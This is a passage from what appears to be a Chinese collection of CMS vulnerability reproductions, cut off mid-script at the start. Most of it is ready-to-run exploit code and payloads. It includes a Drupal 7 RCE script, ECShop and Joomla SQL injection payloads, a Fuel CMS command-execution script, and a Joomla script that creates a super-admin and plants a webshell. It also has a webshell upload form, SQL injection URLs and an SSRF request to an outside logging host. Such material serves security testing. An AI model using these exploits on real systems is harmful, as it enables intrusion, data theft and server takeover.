print('[*] User ID found: ' + user_id)
print('[*] Poisoning a form using \'destination\' and including it in cache.')
get_params = {'q': user_id + '/cancel'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {'id': 'user-cancel-confirm-form'})
form_token = form.find('input', {'name': 'form_token'}).get('value')
get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {'id': 'user-cancel-confirm-form'})
form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
if form_build_id:
print('[*] Poisoned form ID: ' + form_build_id)
print('[*] Triggering exploit to execute: ' + command)
get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
post_params = {'form_build_id':form_build_id}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except:
print("ERROR: Something went wrong.")
raise
def main():
print ()
print ('===================================================================================')
print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |')
print ('| by pimps |')
print ('===================================================================================\n')
args = get_args() # get the cl args
pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
if __name__ == '__main__':
main()File: CMS漏洞/Drupal 远程代码执行漏洞 CVE-2019-6339.md
[Binary file]
File: CMS漏洞/ECShop 2.x3.x SQL注入任意代码执行漏洞.md
ECShop 2.x/3.x SQL注入/任意代码执行漏洞
漏洞描述
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中,存在一处SQL注入漏洞,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞。其3.6.0最新版已修复该漏洞,vulhub中使用其2.7.3最新版与3.6.0次新版进行漏洞复现。
参考链接:
环境搭建
执行如下命令启动ecshop 2.7.3与3.6.0:
docker-compose up -d环境启动后,访问http://your-ip:8080将看到2.7.3的安装页面,访问http://your-ip:8081将看到3.6.0的安装页面。
依次安装二者,mysql地址填写mysql,mysql账户与密码均为root,数据库名随意填写,但2.7.3与3.6.0的数据库名不能相同。
注册普通用户user。
漏洞复现
POC脚本:
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";POC for ECShop 2.x:
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
POC for ECShop 3.x:
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a生成的POC,放在Referer里发送:
GET /user.php?act=login HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: [POC HERE]
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=02.x的执行结果:
3.x的执行结果(使用3.x的POC执行不成功,使用2.x的POC执行成功):
File: CMS漏洞/ECShop 4.x collection_list SQL注入.md
ECShop 4.x collection_list SQL注入
漏洞描述
ECShop是上海商派网络科技有限公司(ShopEx)旗下——B2C独立网店系统,适合企业及个人快速构建个性化网上商店,系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
参考阅读:
环境搭建
执行以下命令启动 ECShop 4.0.6:
docker-compose up -d服务器启动后,访问http://your-ip:8080安装向导。数据库地址填写为mysql,用户名和密码均为root。
注册普通用户user。
漏洞复现
该漏洞的原理与xianzhi-2017-02-82239600类似,可以利用任意insert_函数来实现SQL注入。
有多种insert_函数可以使用。例如,insert_user_account:
GET /user.php?act=collection_list HTTP/1.1
Host: your-ip:8080
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|45ea207d7a2b68c49582d2d22adf953a
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Cookie: ECS_ID=f7b1398a0fdc189b691a6f1c969911ac1eea8fca;ECS[password]=445ac05c4ae0555ed091bb977b08581f;ECS[user_id]=3;ECS[username]=demo;ECS[visit_times]=2;ECSCP_ID=1a8bddd69b3b81efbe441a185ac52e7d24852d87;PHPSESSID=bb2033d66975ff7c2be29896d2d4260c;real_ipd=172.18.0.1;
Connection: close请注意,您应该首先以普通用户身份登录。
insert_pay_log用作 POC :
GET /user.php?act=collection_list HTTP/1.1
Host: 192.168.1.162:8080
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";|
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Cookie: ECS_ID=f7b1398a0fdc189b691a6f1c969911ac1eea8fca;ECS[password]=445ac05c4ae0555ed091bb977b08581f;ECS[user_id]=3;ECS[username]=demo;ECS[visit_times]=2;ECSCP_ID=1a8bddd69b3b81efbe441a185ac52e7d24852d87;PHPSESSID=bb2033d66975ff7c2be29896d2d4260c;real_ipd=172.18.0.1;
Connection: closeFile: CMS漏洞/emlog widgets.php 后台SQL注入漏洞.md
emlog widgets.php 后台SQL注入漏洞
漏洞描述
emlog widgets.php文件在登录后通过构造特殊语句导致SQL注入,获取数据库敏感信息
漏洞影响
emlog 6.0网络测绘
app="EMLOG"漏洞复现
产品主页:https://github.com/emlog/emlog
存在漏洞的文件为 admin/widgets.php
if ($action == 'compages') {
$wgNum = isset($_POST['wgnum']) ? intval($_POST['wgnum']) : 1;//侧边栏编号 1、2、3 ……
$widgets = isset($_POST['widgets']) ? serialize($_POST['widgets']) : '';
Option::updateOption("widgets{$wgNum}", $widgets);
$CACHE->updateCache('options');
emDirect("./widgets.php?activated=true&wg=$wgNum");
}传参为 wgnum 和 widgets ,跟踪方法 updateOption
static function updateOption($name, $value, $isSyntax = false){
$DB = Database::getInstance();
$value = $isSyntax ? $value : "'$value'";
$DB->query('UPDATE '.DB_PREFIX."options SET option_value=$value where option_name='$name'");
}可以发现对传入的参数木有进行过滤,构造Payload
POST /admin/widgets.php?action=compages
widgets=1' and updatexml(0x3a,concat(1,(select user())),1)--调试后可以发现,数据库报错语句会回显至页面中,报错注入即可获取敏感信息
File: CMS漏洞/ezEIP 4.1.0 信息泄露漏洞.md
ezEIP 4.1.0 信息泄露漏洞
漏洞描述
ezEIP 4.1.0 存在信息泄露漏洞,通过遍历Cookie中的参数值获取敏感信息
漏洞影响
ezEIP 4.1.0网络测绘
"ezEIP"漏洞复现
漏洞Url为
/label/member/getinfo.aspx访问时添加Cookie(通过遍历获取用户的登录名电话邮箱等信息)
WHIR_USERINFOR=whir_mem_member_pid=1;File: CMS漏洞/Fuel CMS 1.4.1 远程代码执行漏洞.md
Fuel CMS 1.4.1 远程代码执行漏洞
漏洞描述
参考链接:
网络测绘
"Fuel CMS"漏洞复现
poc:
/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'#!/usr/bin/env ruby
require 'httpclient'
require 'docopt'
# dirty workaround to ignore Max-Age
# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932
$VERBOSE = nil
doc = <<~DOCOPT
Fuel CMS 1.4 - Remote Code Execution
Usage:
#{__FILE__} <url> <cmd>
#{__FILE__} -h | --help
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<cmd> The system command to execute
-h, --help Show this screen
Examples:
#{__FILE__} http://example.org id
#{__FILE__} https://example.org:8443/fuelcms 'cat /etc/passwd'
DOCOPT
def exploit(client, root_url, cmd)
url = root_url + "/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'"
res = client.get(url)
/system(.+?)<div/mx.match(res.body).captures[0].chomp
end
begin
args = Docopt.docopt(doc)
clnt = HTTPClient.new
puts exploit(clnt, args['<url>'], args['<cmd>'])
rescue Docopt::Exit => e
puts e.message
endFile: CMS漏洞/Joomla 3.4.5 反序列化漏洞 CVE-2015-8562.md
[Binary file]
File: CMS漏洞/Joomla 3.7.0 SQL注入漏洞 CVE-2017-8917).md
Joomla 3.7.0 SQL注入漏洞 CVE-2017-8917
漏洞描述
Joomla是一套世界第二流行的内容管理系统。它使用的是PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行,目前由开放源码组织Open Source Matters进行开发与支持。
Joomla 3.7版本后引入一个新的组件 “com_fields”,这一组件会引发易被利用的漏洞,并且不需要受害者网站上的高权限,这意味着任何人都可以通过对站点恶意访问利用这个漏洞。
环境搭建
Vulhub编译及启动测试环境:
docker-compose up -d启动后访问http://your-ip:8080即可看到Joomla的安装界面,当前环境的数据库信息为:
- 数据库主机名:mysql:3306
- 用户:root
- 密码:root
- 数据库名:joomla
填入上述信息,正常安装即可。
漏洞复现
安装完成后,访问以下链接,即可看到报错信息:
http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)File: CMS漏洞/Joomla application 权限绕过漏洞 CVE-2023-23752.md
[Binary file]
File: CMS漏洞/Joomla 目录遍历及远程代码执行漏洞 CVE-2021-23132.md
Joomla 目录遍历及远程代码执行漏洞 CVE-2021-23132
漏洞描述
Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统,是全球知名的一套内容管理系统(CMS)。
本漏洞涉及到目录遍历及进一步导致的RCE漏洞。在Joomla! 3.0.0到3.9.24版本中,Joomla!的com_media组件配置允许被任意修改导致Web级别目录遍历,攻击者通过一系列操作,进一步会导致远程命令执行。
漏洞影响
3.0.0 <= Joomla! <= 3.9.24网络测绘
app="Joomla"漏洞复现
获取超级管理员权限,触发RCE。
poc:
http://target/templates/protostar/error.php?cmd=ls
python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234 -rce 1 -cmd lscve-2021-23132.py:
#!/usr/bin/python3
import sys
import requests
import re
import argparse
#proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"}
proxies={}
try:
import lxml.html
except ImportError:
print("module 'lxml' doesn't exist, type: pip3 install lxml")
exit(0)
def writeConfigFile(filename):
print("[+] Creating config.xml ")
content="""<?xml version="1.0" encoding="utf-8"?>
<config>
<fieldset
name="user_options"
label="COM_USERS_CONFIG_USER_OPTIONS" >
<field
name="allowUserRegistration"
type="radio"
label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL"
description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="new_usertype"
type="usergrouplist"
label="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL"
description="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC"
default="2"
checksuperusergroup="0"
/>
<field
name="guest_usergroup"
type="usergrouplist"
label="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL"
description="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC"
default="1"
checksuperusergroup="0"
/>
<field
name="sendpassword"
type="radio"
label="COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL"
description="COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="useractivation"
type="list"
label="COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL"
description="COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC"
default="0"
>
<option value="0">JNONE</option>
<option value="1">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION</option>
<option value="2">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION</option>
</field>
<field
name="mail_to_admin"
type="radio"
label="COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL"
description="COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC"
class="btn-group btn-group-yesno"
default="0"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="captcha"
type="plugins"
label="COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL"
description="COM_USERS_CONFIG_FIELD_CAPTCHA_DESC"
folder="captcha"
filter="cmd"
useglobal="true"
>
<option value="0">JOPTION_DO_NOT_USE</option>
</field>
<field
name="frontend_userparams"
type="radio"
label="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field
name="site_language"
type="radio"
label="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC"
class="btn-group btn-group-yesno"
default="0"
showon="frontend_userparams:1"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field
name="change_login_name"
type="radio"
label="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL"
description="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC"
class="btn-group btn-group-yesno"
default="0"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
</fieldset>
<fieldset
name="domain_options"
label="COM_USERS_CONFIG_DOMAIN_OPTIONS"
>
<field
name="domains"
type="subform"
label="COM_USERS_CONFIG_FIELD_DOMAINS_LABEL"
description="COM_USERS_CONFIG_FIELD_DOMAINS_DESC"
multiple="true"
layout="joomla.form.field.subform.repeatable-table"
formsource="administrator/components/com_users/models/forms/config_domain.xml"
/>
</fieldset>
<fieldset
name="password_options"
label="COM_USERS_CONFIG_PASSWORD_OPTIONS" >
<field
name="reset_count"
type="integer"
label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC"
first="0"
last="20"
step="1"
default="10"
/>
<field
name="reset_time"
type="integer"
label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL"
description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC"
first="1"
last="24"
step="1"
default="1"
/>
<field
name="minimum_length"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH"
description="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC"
first="4"
last="99"
step="1"
default="4"
/>
<field
name="minimum_integers"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS"
description="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC"
first="0"
last="98"
step="1"
default="0"
/>
<field
name="minimum_symbols"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS"
description="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC"
first="0"
last="98"
step="1"
default="0"
/>
<field
name="minimum_uppercase"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE"
description="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC"
first="0"
last="98"
step="1"
default="0"
/>
<field
name="minimum_lowercase"
type="integer"
label="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE"
description="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC"
first="0"
last="98"
step="1"
default="0"
/>
</fieldset>
<fieldset
name="user_notes_history"
label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" >
<field
name="save_history"
type="radio"
label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
class="btn-group btn-group-yesno"
default="0"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="history_limit"
type="number"
label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
filter="integer"
default="5"
showon="save_history:1"
/>
</fieldset>
<fieldset
name="massmail"
label="COM_USERS_MASS_MAIL"
description="COM_USERS_MASS_MAIL_DESC">
<field
name="mailSubjectPrefix"
type="text"
label="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL"
description="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC"
/>
<field
name="mailBodySuffix"
type="textarea"
label="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL"
description="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC"
rows="5"
cols="30"
/>
</fieldset>
<fieldset
name="debug"
label="COM_USERS_DEBUG_LABEL"
description="COM_USERS_DEBUG_DESC">
<field
name="debugUsers"
type="radio"
label="COM_USERS_DEBUG_USERS_LABEL"
description="COM_USERS_DEBUG_USERS_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="debugGroups"
type="radio"
label="COM_USERS_DEBUG_GROUPS_LABEL"
description="COM_USERS_DEBUG_GROUPS_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
</fieldset>
<fieldset name="integration"
label="JGLOBAL_INTEGRATION_LABEL"
description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC"
>
<field
name="integration_sef"
type="note"
label="JGLOBAL_SEF_TITLE"
/>
<field
name="sef_advanced"
type="radio"
class="btn-group btn-group-yesno btn-group-reversed"
default="0"
label="JGLOBAL_SEF_ADVANCED_LABEL"
description="JGLOBAL_SEF_ADVANCED_DESC"
filter="integer"
>
<option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option>
<option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option>
</field>
<field
name="integration_customfields"
type="note"
label="JGLOBAL_FIELDS_TITLE"
/>
<field
name="custom_fields_enable"
type="radio"
label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL"
description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
</fieldset>
<fieldset
name="permissions"
label="JCONFIG_PERMISSIONS_LABEL"
description="JCONFIG_PERMISSIONS_DESC"
>
<field
name="rules"
type="rules"
label="JCONFIG_PERMISSIONS_LABEL"
filter="rules"
validate="rules"
component="com_users"
section="component"
/>
</fieldset>
</config>
"""
f = open(filename, "w")
f.write(content)
f.close
def extract_token(resp):
match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
if match is None:
print("[-] Cannot find CSRF token!\n")
return None
return match.group(1)
def try_admin_login(sess, url, uname, upass):
admin_url = url + '/administrator/index.php'
print('[+] Getting token for Manager login')
resp = sess.get(admin_url, verify=True)
token = extract_token(resp)
if not token:
return False
print('[+] Logging in to Admin')
data = {
'username': uname,
'passwd': upass,
'task': 'login',
token: '1'
}
resp = sess.post(admin_url, data=data, verify=True)
if 'task=profile.edit' not in resp.text:
print('[!] Admin Login Failure!')
return None
print('[+] Admin Login Successfully!')
return True
def check_admin(sess, url):
url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
resp = sess.get(url_check, verify=True)
token = extract_token(resp)
if not token:
print ("[-] You are not admin account!")
sys.exit()
return token
def set_media_options(url, sess, dir, token):
print("[+] Setting media options")
newdata = {
'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',
'jform[upload_maxsize]': 10,
'jform[file_path]': dir,
'jform[image_path]': dir,
'jform[restrict_uploads]': 0,
'jform[check_mime]': 0,
'jform[image_extensions]': 'bmp,gif,jpg,png',
'jform[ignore_extensions]': '',
'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',
'jform[upload_mime_illegal]': 'text/html',
'id': 13,
'component': 'com_media',
'task': 'config.save.component.apply',
token: 1
}
newdata['task'] = 'config.save.component.apply'
config_url = url + '/administrator/index.php?option=com_config'
resp = sess.post(config_url, data=newdata, verify=True)
if 'jform[upload_extensions]' not in resp.text:
print('[!] Maybe failed to set media options...')
return False
return True
def traversal(sess, url):
shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder='
resp = sess.get(shell_url, verify=True)
page = resp.text.encode('utf-8')
html = lxml.html.fromstring(page)
files = html.xpath("//input[@name='rm[]']/@value")
for file in files:
print (file)
pass
def removeFile(sess, url, filename, token):
remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename
msg = sess.get(remove_path, verify=True,proxies=proxies)
page = msg.text.encode('utf-8')
html = lxml.html.fromstring(page)
file_remove = html.xpath("//div[@class='alert-message']/text()[1]")
print ('\n' + '[Result]: ' + file_remove[-1])
def upload_file(sess, url, file, token):
print("[+] Uploading config.xml")
filename = "config.xml"
url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder='
files = {
'Filedata[]': (filename, file, 'text/xml')
}
data = dict(folder="")
resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies)
if filename not in resp.text:
print("[!] Failed to upload file!")
return False
print("[+] Exploit Successfully!")
return True
def set_users_option(sess, url, token):
newdata = {
'jform[allowUserRegistration]': 1,
'jform[new_usertype]': 8,
'jform[guest_usergroup]': 8,
'jform[sendpassword] ': 0,
'jform[useractivation]': 0,
'jform[mail_to_admin]': 0,
'id': 25,
'component': 'com_users',
'task': 'config.save.component.apply',
token: 1
}
newdata['task'] = 'config.save.component.apply'
config_url = url + '/administrator/index.php?option=com_config'
resp = sess.post(config_url, data=newdata, verify=True)
if 'Configuration saved.' not in resp.text:
print('[!] Could not save data. Error: Save not permitted.')
return False
return True
def create_superuser(sess, url, username, password, email):
resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True)
token = extract_token(resp)
data = {
# Form data
'jform[name]': username,
'jform[username]': username,
'jform[password1]': password,
'jform[password2]': password,
'jform[email1]': email,
'jform[email2]': email,
'jform[option]': 'com_users',
'jform[task]': 'registration.register',
token: '1',
}
url_post = "/index.php/component/users/?task=registration.register&Itemid=101"
sess.post(url + url_post, data=data, verify=True)
sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True)
newsess = requests.Session()
if try_admin_login(newsess, url, username, password):
print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password)
return newsess
else:
print ("[-] Sorry,exploit fail!")
return None
def setOption(url, sess, usuper, psuper, esuper, token):
print ("Superadmin Creation:")
# folder contains config.xml
dir = './administrator/components/com_users'
filename = 'config.xml'
set_media_options(url, sess, dir, token)
traversal(sess, url)
removeFile(sess, url, filename, token)
f = open("config.xml", "rb")
upload_file(sess, url, f, token)
set_users_option(sess, url, token)
def rce(sess, url, cmd, token):
filename = 'error.php'
shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
shdata_up = {
'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
'task': 'template.apply',
token: '1',
'jform[extension_id]': '506',
'jform[filename]': '/' + filename
}
sess.post(shlink, data=shdata_up,proxies=proxies)
path2shell = '/templates/protostar/error.php?cmd=' + cmd
# print '[+] Shell is ready to use: ' + str(path2shell)
print ('[+] Checking:')
shreq = sess.get(url + path2shell,proxies=proxies)
shresp = shreq.text
print (shresp + '[+] Shell link: \n' + (url + path2shell))
print ('[+] Module finished.')
def main():
# Construct the argument parser
ap = argparse.ArgumentParser()
# Add the arguments to the parser
ap.add_argument("-url", "--url", required=True,
help=" URL for your Joomla target")
ap.add_argument("-u", "--username", required=True,
help="username")
ap.add_argument("-p", "--password", required=True,
help="password")
ap.add_argument("-dir", "--directory", required=False, default='./',
help="directory")
ap.add_argument("-rm", "--remove", required=False,
help="filename")
ap.add_argument("-rce", "--rce", required=False, default="0",
help="RCE's mode is 1 to turn on")
ap.add_argument("-cmd", "--command", default="whoami",
help="command")
ap.add_argument("-usuper", "--usernamesuper", default="hk",
help="Super's username")
ap.add_argument("-psuper", "--passwordsuper", default="12345678",
help="Super's password")
ap.add_argument("-esuper", "--emailsuper", default="[email protected]",
help="Super's Email")
args = vars(ap.parse_args())
# target
url = format(str(args['url']))
print ('[+] Your target: ' + url)
# username
uname = format(str(args['username']))
# password
upass = format(str(args['password']))
# directory
dir = format(str(args['directory']))
# init
sess = requests.Session()
# admin login
if (try_admin_login(sess, url, uname, upass) == None): sys.exit()
# get token
token = check_admin(sess, url)
# set options
set_media_options(url, sess, dir, token)
print ("Directory mode:")
traversal(sess, url)
if ap.parse_args().remove:
print ("\nRemove file mode: ")
filename = format(str(args['remove']))
removeFile(sess, url, filename, token)
# check option superadmin creation
# username of superadmin
usuper = format(str(args['usernamesuper']))
# password of superadmin
psuper = format(str(args['passwordsuper']))
# email of superadmin
esuper = format(str(args['emailsuper']))
# RCE mode
if (format(str(args['rce'])) == "1"):
print ("\nRCE mode:\n")
# command
filename="config.xml"
writeConfigFile(filename)
command = format(str(args['command']))
setOption(url, sess, usuper, psuper, esuper, token)
# superadmin creation
newsess = create_superuser(sess, url, usuper, psuper, esuper)
if newsess != None :
# get token
newtoken = check_admin(newsess, url)
rce(newsess, url, command, newtoken)
if __name__ == "__main__":
sys.exit(main())File: CMS漏洞/JunAms内容管理系统文件上传漏洞 CNVD-2020-24741.md
JunAms内容管理系统文件上传漏洞 CNVD-2020-24741
漏洞描述
JunAMS是一款以ThinkPHP为框架的开源内容管理系统。
JunAMS内容管理系统存在文件上传漏洞,攻击者可利用该漏洞上传webshell,获取服务器权限。
参考链接:
漏洞影响
JunAMS junAMS 1.2.1.20190403漏洞复现
exp:
<form enctype="multipart/form-data" action="http://localhost//admin.php/common/add_images.html" method="post">
<input type="file" name="file" size="50"><br>
<input type="submit" value="Upload">
</form>File: CMS漏洞/Ke361 AuthManagerController.class.php 后台SQL注入漏洞.md
Ke361 AuthManagerController.class.php 后台SQL注入漏洞
漏洞描述
Ke361 AuthManagerController.class.php uid参数存在 SQL注入漏洞,通过漏洞可以获取数据库敏感信息
漏洞影响
Ke361环境搭建
漏洞复现
存在漏洞的文件为 Application/Admin/Controller/AuthManagerController.class.php
/admin.php?s=/AuthManager/group/uid/1')%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+File: CMS漏洞/Ke361 DistrictController.class.php 后台SQL注入漏洞 CNVD-2021-25002.md
Ke361 DistrictController.class.php 后台SQL注入漏洞 CNVD-2021-25002
漏洞描述
Ke361 DistrictController.class.php index() 函数 pid参数存在 SQL注入漏洞,通过漏洞可以获取数据库敏感信息
漏洞影响
Ke361环境搭建
漏洞复现
存在漏洞的文件为 Application/Admin/Controller/DistrictController.class.php
验证POC
admin.php?s=/District/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+File: CMS漏洞/Ke361 GoodsController.class.php SSRF漏洞.md
Ke361 GoodsController.class.php SSRF漏洞
漏洞描述
Ke361 GoodsController.class.php URL参数存在 SSRF漏洞,通过漏洞可以获取敏感信息
漏洞影响
Ke361环境搭建
漏洞复现
存在漏洞的文件为 Application/Home/Controller/GoodsController.class.php
URL参数无任何过滤,传入 file_get_contents函数,造成SSRF漏洞,构造请求
POST /index.php?s=/Goods/ajGetGoodsDetial
url=http://6si2gt.dnslog.cndnslog接收到请求
File: CMS漏洞/Ke361 MenuController.class.php 后台SQL注入漏洞 CNVD-2021-25002.md
